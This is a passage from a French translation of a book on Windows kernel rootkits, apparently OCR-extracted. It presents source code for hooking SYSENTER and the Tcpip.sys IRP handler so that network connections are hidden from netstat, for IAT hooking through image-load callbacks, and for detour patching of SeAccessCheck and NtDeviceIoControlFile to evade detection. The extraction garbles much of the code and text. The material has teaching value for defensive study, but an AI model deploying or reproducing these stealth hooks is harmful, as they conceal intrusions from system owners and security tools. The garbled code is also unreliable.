mov eax, MyKiFastCallEntry // Adresse de la fonction de hooking wrmsr
// Ecrit dans le registre IA32_SYSENTER_EIP
}
return STATUS_SUCCESS;
Rootkit.com
Le code pour hooker SYSENTER est disponible l'adresse
www.rootkit.com/vault/fuzen_op/SysEnterHook.zip.
Chapitre 4
0x0a
0x0b
0x0c
0x0d
0x0e
0x0f
0x10
0x11
0x12
0x13
0x14
0x15
0x16
0x17
0x18
0x19
0x1 a
0x1 b
IRP_MJ_PNP // Obsolte
0x1 b
Les IRP et le driver cible dpendent de ce que le rootkit est suppos accomplir. Par
exemple, vous pourriez hooker les fonctions relatives aux critures dans le systme de
fichiers ou aux requtes TCP. Toutefois, cette approche de hooking prsente un
problme. Comme dans le cas de lIDT, les fonctions qui grent les IRP majeurs ne
114 Rootkits
sont pas conues pour appeler la fonction dorigine puis filtrer les rsultats. Elles ne
sont pas censes rcuprer le contrle de la part du driver situ plus bas dans la pile
dappels. La Figure 4.6 illustre comment un objet priphrique conduit lobjet driver
dans lequel la table de fonctions IRP_MJ_* est stocke.
Figure 4.6
Hooking de la table de fonctions de gestion des IRP d'un driver.
Local Address
LIFE : 1027
LIFE : 1027
LIFE:1027
Foreign Address
localhost: 1422
localhost: 1424
localhost: 1428
State
ESTABLISHED
ESTABLISHED
ESTABLISHED
TCP
TCP
TCP
TCP
LIFE:1410
LIFE:1422
LIFE:1424
LIFE:1428
localhost:
localhost:
localhost:
localhost:
CLOSE_WAIT
ESTABLISHED
ESTABLISHED
ESTABLISHED
TCP
TCP
TCP
TCP
LIFE
LIFE
LIFE
LIFE
:
:
:
:
1463
1423
1425
3537
1027
1027
1027
1027
localhost: 1027
CLOSE_WAIT
64.12.28.72:5190
ESTABLISHED
64.12.24.240:5190
ESTABLISHED
64.233.161.104:http ESTABLISHED
Chapitre 4
Nous pouvons voir ici le nom du protocole, ladresse et le port sources, ladresse et le
port de destination et ltat de chaque connexion.
De toute vidence, le rootkit ne doit laisser apparatre aucune connexion sortante
tablie. Un moyen dviter cela est de hooker le driver Tcpip. sys et de filtrer les IRP
utiliss pour demander cette information.
Localiser la table de gestion des IRP
{
NTSTATUS ntStatus;
UNICODE_STRING deviceTCPUnicodeString;
WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp";
pFile_tcp = NULL; pDev_tcp = NULL; pDrv_tcpip =
NULL;
RtlInitUnicodeString (&deviceTCPUnicodeString,
deviceTCPNameBuffer);
1 1 6 Rootkits
ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString,
FILE_READ_DATA, &pFile_tcp,
&pDev_tcp);
if(!NT_SUCCESS(ntStatus)) return ntStatus;
pDrv_tcpip = pDev_tcp->DriverObject;
OldlrpMjDeviceControl = pDrv_tcpip->
Ma]orFunction[IRP_MJ_DEVICE_CONTROL];
if (OldlrpMjDeviceControl)
InterlockedExchange ((PLONG)&pDrv_tcpip->
MajorFunction[IRP_MJ_DEVICE_CONTROL],
(LONG)HookedDeviceControl);
return STATUS_SUCCESS;
}
Lorsque ce code sera excut, le hook sera install dans le driver Tcpip.
sys. Fonction
Maintenant que le hook est install dans le driver Tcpip.sys, nous pouvons
commencer recevoir des IRP dans la fonction HookedDeviceControl. Il existe de
nombreux types diffrents de requtes mme au sein de IRP_MJ_DEVICE_CONTROL pour
Tcpip.sys.
Tous les IRP de type IRP_MJ_* doivent tre couverts dans le premier niveau de filtrage
que nous ralisons. IRP_MJ signifie "type dIRP majeur" {major IRP type). Il existe
aussi un type mineur dans chaque IRP.
Outre les types dIRP majeurs et mineurs, le IoControlCode dans lIRP est utilis pour
identifier un type particulier de requte. Ici, nous sommes concerns uniquement par
les IRP dont le code de contrle est IOCTL_TCP_QUERY_INFORMATION_EX. Ces IRP retournent
la liste des ports des programmes comme Netstat. Le rootkit devrait convertir le
tampon dentre de P IRP en une structure TDIObjectID. Pour dissimuler les ports
TCP, le rootkit soccupera uniquement des requtes dentits CO_TL_ENTITY. Le type
dentit CL_TL_ENTITY est utilis pour les requtes UDP. Le membre toi_id de la
structure TDIObjectID est galement important. Sa valeur dpend des options qui ont
t spcifies lors de linvocation de Netstat (par exemple netstat.exe -o). Ce champ
est dcrit plus en dtail la prochaine section.
#define CO_TL_ENTITY 0x400 #define
CL_TL_ENTITY 0x401
#define IOCTL_TCP_QUERY_INFORMATION_EX 0X00120003 I I *
Structure d'un identifiant d'entit typedef struct
TDIEntitylD { ulong tei_entity; ulong tei_instance;
Chapitre 4
> TDIEntitylD;
I I * Structure d'un identifiant d'objet
typedef struct TDIObjectID {
TDIEntitylD toi_entity;
ulong toi_class; ulong
toi_type; ulong toi_id;
} TDIObjectID;
118 Rootkits
{
PI0_STACK_L0CATION
irpStack;
ULONG
ioTransferType;
TDIObjectlD
*inputBuffer;
DWORD
context;
// Rcupre un pointeur vers l'emplacement courant dans l'IRP. Il s'agit
// de l'emplacement des codes et des paramtres des fonctions. irpStack =
IoGetCurrentlrpStackLocation (Irp); switch (irpStack->MajorFunction)
{
case IRP_MJ_DEVICE_CONTROL:
if ((irpStack->MinorFunction == 0) &&
(irpStack->Parameters.DeviceloControl.IoControlCode
== IOCTL_TCP_QUERY_INFORMATION_EX))
{
ioTransferType =
irpStack->Parameters.DeviceloControl.IoControlCode;
ioTransferType &= 3;
// Il faut connatre la mthode pour trouver le tampon d'entre
if (ioTransferType == METHOD_NEITHER)
{
inputBuffer = (TDIObjectID *)
irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
// CO_TL_ENTITY est pour TCP et CL_TL_ENTITY est pour UDP
if (inputBuffer->toi_entity,tei_entity == CO_TL_ENTITY)
{
if ((inputBuffer->toi_id == 0x101) ||
(inputBuffer->toi_id == 0x102) j |
(inputBuffer->toi_id == 0x110))
{
// Appelle la routine de terminaison si l'IRP russit.
// Pour cela, change les flags de contrle dans l'IRP.
irpStack->Control = 0;
irpStack->Control |= SL_INVOKE_ON_SUCCESS;
// Enregistre la routine de terminaison d'origine,
// s'il y en a une.
irpStack->Context =(PIO_COMPLETION_ROUTINE)
ExAllocatePool(NonPagedPool,
sizeof(REQINFO));
((PREQINFO)irpStack->Context)->
OldCompletion =
irpStack->CompletionRoutine ;
((PREQINFO)irpStack->Context)->ReqType =
inputBuffer->toi_id;
// Dfinit la fonction appeler
Chapitre 4
}
}
}
}
break;
default
:
break;
}
// Appelle la fonction d'origine
return 01dIrpMjDeviceControl(Device0bject, Irp);
}
A prsent que nous avons insr dans lIRP un pointeur vers la fonction de callback,
IoCompletionRoutine, nous allons pouvoir crire cette routine.
Routine de terminaison
Dans le code prcdent, nous avons insr une routine de terminaison complte dans
lIRP intercept par le hook, et ce avant dappeler la fonction dorigine. Cest le seul
moyen de modifier les informations places dans P IRP par un driver situ plus bas
dans la pile. Le driver du rootkit est maintenant prsent au-dessus de Tcpip.sys. Ce
dernier prend le contrle lorsque le rootkit appelle le gestionnaire dorigine de lIRP.
Normalement, le gestionnaire de lIRP qui a t utilis comme fonction de hooking
ne se voit jamais rendre le contrle depuis la pile dappels. Cest pourquoi il
convient dinsrer une routine de terminaison. Ainsi, aprs que Tcpip.sys a plac dans
lIRP les informations relatives tous les ports rseau, il rend le contrle la routine
(puisquelle a t insre dans lIRP dorigine). Pour une explication plus dtaille des
IRP et des routines de conclusion, voyez le Chapitre 6.
Dans lexemple suivant, la routine IoCompletionRoutine est invoque aprs que
Tcpip.sysa plac dans le tampon de sortie de lIRP une structure pour chaque port TCP
existant sur lhte. La structure exacte de ce tampon dpend des options avec
lesquelles Netstat a t excut. Les options disponibles dpendent de la version du
systme dexploitation utilise. Avec loption -o, lutilitaire liste galement le
processus propritaire du port. Ici, Tcpip. sys retourne un tampon contenant des
structures C0NNINF0102. Loption -b retourne des structures C0NNINF0110 avec les
informations de port. Autrement, les structures retournes
120 Rootkits
sont de type CONNINFO101. Voici ces trois types de structures et les informations
contenues dans chacune :
#define HTONS(a) ( ( (0xFF&a)8) + ( (0xFF00&a)8) ) // Pour rcuprer un port
// Structures des tampons d'informations TCP retourns par TCPIP.SYS typedef
struct _CONNINFO101 { unsigned long status; unsigned long src_addr; unsigned
short src_port; unsigned short unk1; unsigned long dst_addr; unsigned short
dst_port; unsigned short unk2;
} C0NNINF0101, *PC0NNINF0101 ; typedef struct _CONNINFO102 { unsigned long
status; unsigned long src_addr; unsigned short src_port; unsigned short unk1;
unsigned long dst_addr; unsigned short dst_port; unsigned short unk2; unsigned
long pid;
} C0NNINF0102, *PC0NNINF0102; typedef struct _CONNINFO110 { unsigned long
size; unsigned long status; unsigned long src_addr; unsigned short src_port;
unsigned short unk1; unsigned long dst_addr; unsigned short dst_port; unsigned
short unk2; unsigned long pid;
PVOID unk3[35];
} C0NNINF0110, *PC0NNINF0110;
IoCompletionRoutine reoit un pointeur de type PREQINFO appel Context auquel nous
allouons de lespace dans la routine. Ce pointeur est utilis pour garder trace du type
dinformations de connexion demandes et de la routine de terminaison dorigine sil y
en avait une. En analysant le tampon et en changeant la valeur dtat de chaque
structure, il est possible de dissimuler nimporte quel port. Voici certaines valeurs
dtat courantes :
2 pourLISTENING
3 pourSYN_SENT
pourSYN_RECEIVED
Chapitre 4
B 5
pour ESTABLISHED
6 pour FIN_WAIT_I ;
7
pour FIN_WAIT_2
H 8
pour CLOSE_WAIT
B 9 pourCLOSING.
{
PVOID OutputBuffer;
DWORD NumOutputBuffers ;
PI0_C0MPLETI0N_R0UTINE p_compRoutine;
DWORD i;
// Valeur d'tat des connexions :
// 0 = Invisible // 1 = CLOSED 1 1 2 =
LISTENING I l 3 = SYN_SENT I l 4 =
SYN_RECEIVED I l 5 = ESTABLISHED I l 6
= FIN_WAIT_1 I l 7 = FIN_WAIT_2 I l 8 =
CL0SE_WAIT 1 / 9 = CLOSING
II..
OutputBuffer = Irp->UserBuffer;
p_compRoutine = ((PREQINF0)Context)->01dCompletion; if
(((PREQINFO)Context)->ReqType == 0x101)
122 Rootkits
NumOutputBuffers = Inp->IoStatus.Information /
sizeof(C0NNINF0101);
for(i = 0; i < NumOutputBuffers; i++)
{
// Dissimule toutes les connexions Web
if (HTONS(((PC0NNINF0101(OutputBuffer)[i].dst_port) == 80)
((PCONNINFO101(OutputBuffer)[i].status = 0;
}
}
else if (((PREQINFO)Context)->ReqType == 0x102)
{
NumOutputBuffers = Irp->IoStatus.Information /
sizeof(CONNINFO102);
for(i = 0; i < NumOutputBuffers; i++)
{
// Dissimule toutes les connexions Web
if (HTONS(((PC0NNINF0102)OutputBuffer)[i].dst_port) ==80)
((PCONNINFO102)OutputBuffer)[i].status = 0;
}
}
else if (((PREQINFO)Context)->ReqType == 0x110)
{
NumOutputBuffers = Irp->IoStatus.Information /
sizeof(CONNINFO110);
for(i = 0; i < NumOutputBuffers; i++)
{
// Dissimule toutes les connexions Web
if (FITONS(((PC0NNINF0110)OutputBuffer)[i].dst_port) == 80)
((PCONNINFO110)OutputBuffer)[i].status = 0;
}
}
ExFreePool(Context);
if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))
{
return (p_compRoutine)(DeviceObject, Irp, NULL);
}
else
{
return Irp->IoStatus.Status;
Rootkit.com
Vous pouvez tlcharger le code pour hooker les IRP TCP l'adresse
www.rootkit.com/vault/fuzen_op/TCPIRPHook.zip.
Chapitre 4
124 Rootkits
ULONG Properties;
struct {
ULONG ImageAddressingMode
ULONG SystemModelmage
ULONG ImageMappedToAllPids
ULONG Reserved
};
};
PVOID ImageBase;
ULONG ImageSelector;
ULONG ImageSize;
ULONG ImageSectionNumber;
} IMAGE_INFO, *PIMAGE_INFO;
Dans la fonction de callback, il faut dterminer sil sagit dun module dont lIAT doit
tre hooke. A dfaut de savoir quels modules dans le processus importent la fonction
filtrer, il est possible de hooker toutes les IAT pointant sur la fonction en question.
Lexemple suivant hooke tous les modules en appelant HooklmportsOf- Image pour
analyser chaque module et trouver les entres de leur IAT. Le code conu pour cibler
un excutable ou une DLL spcifique a t plac en commentaire.
/////////////////////////////////////////////////////////
// MylmageLoadNotify est appele lorsqu'une image est charge // dans le noyau
ou l'espace utilisateur. A ce stade, le hook // peut tre filtr sur la base
du Processld ou du nom // de l'image. Sinon, toutes les IAT qui se rfrent
la // fonction filtrer pourraient tre hookes.
VOID MylmageLoadNotify(IN PUNICODE_STRING FullImageName,
IN HANDLE Processld, // Le processus contient
une image
IN PIMAGE_INFO Imagelnfo)
{
// UNICODE_STRING u_targetDLL;
//DbgPrint("Image name: %ws\n", FullImageName->Buffer);
// Dfinit le nom de la DLL cible / /
RtlInitUnicodeString(&u_targetDLL,
//
L" \\WIND0WSWsystem32Wkernel32.dll" ) ;
// if(RtlCompareUnicodeString(FullImageName,&u_targetDLL, TRUE) == 0)
Il {
Il }
HooklmportsOfImage(Imagelnfo->ImageBase, Processld);
}
parcourt le fichier PE en mmoire. La plupart des excutables
Windows sont au format PE (Portable Excutable). Lapparence du fichier en mmoire
ressemble beaucoup celle quil a sur disque. La majorit des lments quil contient
sont des adresses virtuelles relatives, ou RVA (Relative Virtual Address). Il sagit des
offsets des donnes par rapport lemplacement o le fichier
HooklmportsOf Image
Chapitre 4
{
PIMAGE_DOS_HEADER dosHeader;
PIMAGE_NT_HEADERS pNTHeader;
PIMAGE_IMPORT_DESCRIPTOR importDesc;
PIMAGE_IM PO R T_BY_NAM E p_ibn;
DWORD importsStartRVA;
PDWORD pd_IAT, pd_INTO;
int count, index;
char *dll_name = NULL;
char *pc_dlltar = "kernel32.dll";
char *pc_fnctar = "GetProcAddress";
PMDL pjndl;
PDWORD MappedlmTable;
126 Rootkits
{
dll_name = (char*) (importDesc[count].Name + (DWORD) dosHeader);
pd_IAT = (PDWORD)(((DWORD) dosHeader) +
(DWORD)importDesc[count].FirstThunk); pd_INT0 =
(PDWORD)(((DWORD) dosHeader) +
(DWORD)importDesc[count].OriginalFirstThunk);
for (index = 0; pd_IAT[index] != 0; index++)
{
// S'il s'agit d'une importation par numro,
// le bit de poids fort est 1.
if((pd_INTO[index] & IMAGE_ORDINAL_FLAG)!= IMAGE_0R DINAL_F
LAG)
{
p_ibn = (PIMAGE_IMPORT_BY_NAME)
(pd_INTO[index]+((DWORD)
dosHeader));
if ((_stricmp(dll_name, pc_dlltar) == 0) && (strcmp(p_ibn>Name, pc_fnctar) == 0))
{
// Utilisez l'astuce apprise prcdemment pour associer
// une adresse virtuelle diffrente la mme adresse
// physique pour viter les problmes de permissions.
//
Chapitre 4
I l Libre la MDL
MmUnmapLockedPages(MappedImTable, p_mdl);
IoFreeMdl(p_mdl);
return STATUS_SUCCESS;
}
Nous disposons prsent dune fonction de callback qui sera appele pour chaque
image (quil sagisse dun processus, dun driver, dune DLL, etc.) charge en
mmoire. Le code examine chaque image pour dterminer si elle importe la cible du
hook. Si la fonction cible est trouve, son adresse dans lIAT est remplace. Tout ce
quil nous reste faire est dcrire la fonction du rootkit vers laquelle lIAT pointe.
Pour pouvoir hooker tous les processus sur le systme, nous avons besoin pour le hook
dune adresse mmoire qui soit visible depuis lespace dadressage de chaque
processus. La section suivante traite ce point.
1. B. Jack, "Remote Windows Kernel Exploitation: Step into the Ring 0" (Aliso Viejo, Cal. : eEye Digital
Security,
2005),
disponible
sur
:
http://www.eeye.com/~data/publish/whitepapers/research/
OT20050205.FILE.pdf.
128 Rootkits
DATA.
dt
Pour illustrer une opration dcriture dans KUSER_SHARED_DATA, nous crirons huit
octets sur ladresse que nous nommerons d_sharedK. Pour le premier octet, qui est un
opcode, nous utilisons une instruction NOP. Une instruction INT 3 (break) peut tre
employe la place pour observer le comportement, auquel cas un debuggeur en cours
dexcution sera ncessaire pour lintercepter. Les sept octets suivants concernent le
placement dune adresse de rserve dans EAX et un saut cette adresse. Lorsque le
rootkit trouve LIAT de la fonction hooker, il remplace cette adresse par ladresse
dorigine de la fonction. Le rootkit devrait en fait crire en mmoire une fonction
beaucoup plus avance pour pouvoir rellement filtrer le rsultat dune fonction, mais
cela dpasse le cadre de ce chapitre.
DWORD d_sharedM = 0x7ffe0800; // Une adresse utilisateur
DWORD d_sharedK = 0xffdf0800; // Une adresse du noyau //
Petit dtour unsigned char new_code[] = {
0x90,
// NOP ou INT 3 pour observer
0xb8, 0xff, 0xff, 0xff, 0xff, // mov eax, Oxffffffff
0xff, 0xe0
// jmp eax
};
if (!gb_Hooked)
{
// L'criture des opcodes bruts en mmoire // utilise
une adresse du noyau qui est mappe // dans l'espace
d'adressage de tous les processus.
// Mes remerciements Barnaby Jack.
RtlCopyMemory((PVOID)d_sharedK, new_code, 8);
// pd_IAT[index] contient l'adresse d'origine
RtlCopyMemory((PVOID)(d_sharedK+2),(PVOID)&pd_IAT[index], 4); gb_Hooked =
TRUE;
Rootkit.com
. _ . |- . ;
Vous trouverez le code de cet exemple de hook hybride ladresse
www.rootkit.com/vault/fuzen_op/HybridHook.zip.
Vous disposez prsent dun modle de rootkit hybride qui hooke des adresses
utilisateur mais le fait partir dun driver du noyau. A linstar de la plupart des
techniques exposes dans ce livre, vous pourriez utiliser cette technique pour crire un
rootkit ou hooker des fonctions potentiellement dangereuses, assurant ainsi une
Chapitre 4
Conclusion
Ce chapitre a fourni de nombreuses informations sur le hooking de tables de pointeurs
de fonctions, la fois dans le mode utilisateur et dans le mode noyau. Les hooks du
noyau sont prfrables car, si un programme de dtection/protection recherche votre
rootkit, vous pouvez exploiter toute la puissance du noyau pour y chapper ou le
neutraliser. Un accs de niveau noyau offre de nombreux emplacements pour se cacher
de ladversaire ou le battre. Etant donn que la furtivit est un objectif principal dun
rootkit, un filtrage, quel quil soit, est ncessaire.
Le hooking est une technique double facette. Elle est employe par de nombreux
rootkits publics et dautres programmes malveillants, mais elle est aussi utilise par
des logiciels antivirus et dautres produits de protection dhte.
5
Patching lors de lexcution
Pour te trouver, Louis, il me suffit de suivre les cadavres de rats.
- Entretien avec un vampire, Anne Rice
132 Rootkits
Cest la technique de base utilise par les crackers pour retirer la protection des
logiciels. Une troisime mthode consiste changer, lors de lexcution, les donnes
de structures en mmoire qui contrlent la logique dun programme. Un bon exemple
dapplication de cette mthode sont les games-trainers, qui modifient les jeux pour
octroyer au joueur des crdits ou des ressources supplmentaires.
Modifier la logique dun programme est simple en comparaison de la rcriture ou du
remplacement de fichiers sur le systme par des fichiers de priphriques troyens. En
manipulant quelques octets ici et l, la plupart des fonctions de scurit peuvent tre
dsactives. Il faut bien sr pouvoir accder la mmoire o rsident ces fonctions.
Puisque les rootkits peuvent oprer partir du noyau, ils disposent dun accs complet
lespace de mmoire de lordinateur. Ce nest donc gnralement pas un problme.
Vous allez dcouvrir dans ce chapitre comment changer la logique dun programme
laide dune des mthodes les plus puissantes disponibles : le patching direct doctets
de code. Vous apprendrez galement la combiner dautres mthodes plus
puissantes, telles que le patching de dtour et les modles de saut. Ensemble, elles
permettent de produire des rootkits dangereux et difficiles dtecter.
Le patching de dtour
Nous avons vu au Chapitre 4 la puissance que procurent les hooks dappels de
fonctions pour changer le comportement de fonctions. Un inconvnient de ces
techniques est quelles altrent les tables dappels, ce qui peut tre dtect par les
technologies antivirus et antirootkit. Une approche plus subtile est de patcher
directement les octets de la fonction en insrant un saut vers le code du rootkit. De
plus, la modification dune seule fonction peut toucher toutes les tables qui pointent
vers elle sans avoir besoin de les traiter individuellement. Cette technique sappelle le
patching de dtour et peut tre utilise pour dtourner le flux de contrle, par exemple
dans le but de contourner une fonctionnalit.
La Figure 5.1 illustre la faon dont le code est insr par le rootkit dans le flux de
contrle.
Chapitre 5
Figure 5.1
Modification du contrle de flux.
Comme avec un hook dappel, le code du rootkit peut servir changer des arguments
avant et aprs un appel systme ou un appel de fonction. Il est aussi possible de
raliser lappel de fonction comme sil ntait pas patch ou, au contraire, de le
manipuler entirement. Par exemple, faire en sorte quil retourne toujours un certain
code derreur.
Un exemple vous permettra de mieux comprendre. Cette technique requiert plusieurs
tapes que nous allons dtailler dans la section suivante.
134 Rootkits
Chapitre 5
Figure 5.2
Procdure
de
patching
de code.
55
PUSH
8B
EC
MOV
53
PUSH
33
DB
XOR
38
5D
24
CMP
EA
AA
AA
AA
AA
08
00
90
90
NOP NOP
Pour russir un patch sans provoquer de corruption, il faut sassurer quil soit appliqu
la bonne version de fonction et au bon endroit en mmoire. Cette tape ncessite une
attention spciale car le programme cible peut avoir fait lobjet de correctifs ou, plus
gnralement, il peut exister diffrentes versions du code. Si aucun contrle de version
nest effectu, le patch risque dtre mal appliqu et de provoquer une corruption avec
un plantage du systme.
136 Rootkits
Il est mme possible quun autre programme ait dj patch la fonction, quelle quen
soit la raison. Pour toutes ces raisons et dautres, il faut sassurer de la version de la
fonction avant de procder au patching.
Migbot utilise deux tapes pour contrler les octets de la fonction. La premire extrait
un pointeur vers la fonction et la seconde excute une simple comparaison de la valeur
code en dur que nous nous attendons trouver. Vous pouvez dterminer la valeur des
octets en utilisant Softlce ou un autre debugger de noyau ou en dsassemblant le
fichier binaire au moyen dun outil tel quIDA Pro.
Veillez bien vrifier la longueur de la squence doctets analyse. Dans le code
suivant, une squence est de 8 octets de long et lautre, de 9 octets :
NTSTATUS CheckFunctionBytesNtDeviceIoControlFile()
{
int i=0;
char *p = (char *)NtDeviceIoControlFile;
//Le dbut de la fonction NtDeviceloControlFile //
doit correspondre :
//55 PUSH EBP //8BEC MOV EBP, ESP //6A01 PUSH 01
//FF752C PUSH DWORD PTR [EBP + 2C]
Char C[] = { 0x55, 0x8B, 0xEC, 0x6A, 0X 01, 0xFF, 0X75, 0x20 }; while(i<8)
{
DbgPrint( - 0x%02X ", (unsigned char)p[i]); if(P[i1 != c[i])
return STATUSJJNSUCCESSFUL;
}
i++;
}
return STATUS_SUCCESS;
}
NTSTATUS CheckFunctionBytesSeAccessCheck()
{
int i=0;
char *p = (char *)SeAccessCheck;
// Le dbut de la fonction SeAccessCheck // doit
correspondre :
//55 PUSH EBP //8BEC MOV EBP, ESP //53 PUSH EBX //33DB
XOR EBX, EBX //385D24 CMP [EBP+24], BL
Char C[] = { 0x55, 0x8B, 0xEC, 0x53, 0x33, 0xDB, 0x38, 0x5D, 0x24 };
while(i<9)
{
DbgPrint(" - 0x%02X ", (unsigned char)pli]);
Chapitre 5
i f(P [i ] != c[i ])
{
return STATUSJJNSUCCESSFUL;
}
i++;
}
return STATUS_SUCCESS;
JMP FAR
Fonction originale
138 Rootkits
constater partir du code suivant que les instructions manquantes sont excutes et un
saut FAR se produit.
Le code utilis pour le saut mrite une petite remarque. Puisque lors de la conception
il nest pas possible de produire la syntaxe exacte pour le saut FAR avec le
compilateur du DDK, le mot-cl EMIT est utilis la place pour forcer la sortie
doctets. Cest une technique utile, non seulement pour coder une instruction
inconnue, mais aussi dans le cas de code se modifiant lui-mme ou de chanes insres
en dur :
// Les fonctions naked n'ont pas de code de prologue/pilogue.
// Ce sont des fonctionnalits telles que // la cible d'une directive
goto.
_ declspec(naked) my_function_detour_seaccesscheck()
{
_ asm
{
// Excution des instructions manquantes
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+24], bl
// Saut vers le point de retour dans la fonction hooke.
// L'adresse correcte est insre ici //
lors de l'excution.
//
// Nous devons crire cette fonction dans une mmoire non pagine //
avant de placer le dtour. Il semble que les drivers // soient pagins
de temps en temps.
_ declspec(naked) my_function_detour_ntdeviceiocontrolfile()
{
_ asm
{
// Excution des instructions manquantes
push ebp mov ebp, esp
Chapitre 5
push 0x01
push dwond ptr [ebp+0x2C]
Il Saut au point de retour dans la fonction hooke.
Il L'adresse correcte est insre Il lors de
l'excution.
Il
Il Nous devons coder un JMP FAR en dur, mais l'assembleur Il
{
char *actual_function = (char *)SeAccessCheck;
char *non_paged_memory;
unsigned long detour_address;
unsigned long reentry_address;
int i = 0;
140 Rootkits
Une portion de mmoire non pagine, NonPagedPool, est alloue en quantit suffisante
pour stocker le code du rootkit. Celui-ci y est ensuite copi et le patch de dtour sy
dbranchera ensuite. Le contenu du code du rootkit (la fonction NAKED dclare plus
haut) est copi octet par octet dans cette zone et un pointeur vers le dbut du code est
enregistr :
non_paged_memory = ExAllocatePool(NonPagedPool, 256);
// Copie le contenu de la fonction dans une zone de mmoire non pagine //
avec une limite 256 octets.
// (Prenez garde la possibilit d'une lecture au-del de la fin de page
FIXME.)
for(i=0;i<256;i++)
{
((unsigned char *)non_paged_memory)[i] =
((unsigned char *)my_function_detour_seaccesscheck)[i];
}
detour_address = (unsigned long)non_paged_memory;
0x11223344
pour
Une autre correction dadresse. Nous recherchons cette fois ladresse 0xAAAAAAAA pour
la remplacer par ladresse de retour calcule plus haut. Ici aussi, il sagit dune adresse
dans la fonction originale qui suit immdiatement lemplacement patch ;
Il L'adresse du point de retour est insre dans notre Il fonction de dtour,
for(i=0;i<200;i++)
Chapitre 5
{
if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+1 ]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+3]))
{
// Nous trouvons l'adresses OxAAAAAAAA
// et insrons la place l'adresse correcte.
*( (unsigned long *)(&non_paged_memory[i]) ) =
reentry_address; break;
}
}
// A faire : Elever l'IRQL
// Ecraser les octets dans la fonction du noyau // pour appliquer
le JMP de dtour. for(i=0;i < 9;i++)
{
actual_function[i] = newcode[i];
}
// A faire : Baisser l'IRQL
}
// La mme logique est applique au patch NtDeviceloControl :
VOID DetourFunctionNtDeviceIoControlFile()
{
char *actual_function = (char *)NtDeviceIoControlFile;
char *non_paged_memory;
unsigned long detour_address;
unsigned long reentry_address;
int i = 0;
// Assemblage du JMP FAR 0008:11223344 o 11223344 // est
l'adresse de notre fonction de dtour, plus un NOP // pour
aligner le patch.
char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11,
0x08, 0x00, 0x90 };
// Revenir dans la fonction hooke un endroit // en aval de
l'alignement des opcodes crass // est trs important ici.
reentry_address = ((unsigned long)NtDeviceIoControlFile) + 8;
non_paged_memory = ExAllocatePool(NonPagedPool, 256);
// Copie le contenu de notre fonction en mmoire non pagine // avec une
limite 256 octets (prenez garde une lecture possible // au-del de la
fin de page FIXME). for(i=0;i<256;i++)
{
((unsigned char *)non_paged_memory)[i] = ((unsigned char *)
my_function_detour_ntdeviceiocontrolfile)[i];
}
detour_address = (unsigned long)non_paged_memory;
// Insre l'adresse cible du JMP FAR.
*( (unsigned long *)(&newcode[1]) ) = detour_address;
142 Rootkits
{
if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+3]))
{
// Nous trouvons l'adresse 0xAAAAAAAA // et la
remplaons par l'adresse correcte.
*( (unsigned long *)(&non_paged_memory[i]) ) =
reentry_address; break;
}
}
// A faire : Elever l'IRQL
// Ecrase les octets dans la fonction de noyau // pour
appliquer le JMP de dtour. for(i=0;i < 8;i++)
{
actual_function[i] = newcode[i];
>
// A faire : Baisser l'IRQL
}
La routine DriverEntry contrle lexactitude des octets de fonction et applique le
patch de dtour :
NTSTATUS DriverEntryf IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )
{
DbgPrint("Match Failure on NtDeviceloControlFile!");
return STATUSJJNSUCCESSFUL;
}
if(STATUS_SUCCESS != CheckFunctionBytesSeAccessCheck())
{
DbgPrint("Match Failure on SeAccessCheck!");
return STATUSJJNSUCCESSFUL;
}
DetourFunctionNtDeviceIoControlFile();
DetourFunctionSeAccessCheckf); return STATUS_SUCCESS;
Chapitre 5
Vous venez dtudier une technique puissante. Lexemple de code a introduit les
composantes essentielles du patching de dtour. Vous pouvez laborer des fonctions
plus sophistiques partir de ces connaissances fondamentales. Vous vous
familiariserez ainsi avec ces attaques puissantes qui peuvent facilement chapper la
plupart des technologies de dtection.
La prochaine section dcrit en dtail une mthode de patching de code lgrement
diffrente pour hooker la table dinterruptions.
Modles de saut
Nous allons tudier une technique appele modle de saut (jump template). Elle peut
tre utilise de diffrentes faons, mais nous allons lillustrer dans le cas dun hook de
la table dinterruptions.
Lexemple suivant compte le nombre de fois que les interruptions sont appeles. Au
lieu de patcher directement la routine de service (ISR), nous allons crer
spcifiquement un bout de code qui sera excut pour chaque routine. Nous
commencerons par un modle dont nous ferons une centaine de copies, une pour
chaque routine. Cest--dire quau lieu de crer un seul hook nous crerons un hook
individuel pour chaque entre de la table de descripteurs dinterruptions (IDT).
Rootkit.com
L'exemple suivant peut tre tlcharg l'adresse
www.rootkit.com/vault/hoglund/basicJnterrupt_3.zip.
Etant donn que chaque routine de service rside une adresse distincte et que
ladresse de retour sera unique pour chacune delles, nous devons introduire une
nouvelle technique qui permettra chaque entre de la table dtre hooke avec des
dtails de saut spcifiques.
Dans lexemple prcdent, le code de rootkit revenait de lui-mme dans la fonction
originale. Cette mthode fonctionne lorsquil ny a quun seul hook. Au lieu de
recoder la mme fonction des centaines de fois, nous allons utiliser un modle de saut
pour appeler le code du rootkit et revenir dans la fonction originale.
Le modle de saut est rpliqu pour chaque routine dinterruption. Ladresse du J MP
FAR dans chaque copie rplique sera corrige spcifiquement pour chacune delles.
144 Rootkits
La Figure 5.4 illustre cette technique. Chaque modle appelle le mme code de rootkit,
qui est dans ce cas trait comme une fonction normale. Une fonction retourne toujours
le contrle lappelant. Nous navons donc pas besoin de nous soucier davoir faire
une correction dadresse dans le code du rootkit lors de lexcution. Dans notre
exemple, le code spcifique contient le numro dinterruption correct pour chaque
routine.
Figure 5.4
L'emploi
d'un
modle de
saut.
Routine d'interruption 1
//--------------------#include "ntddk.h"
#include <stdio.h>
// Debugging actif
// #define _DEBUG
Chapitre 5
///////////////////////////////////////////////////
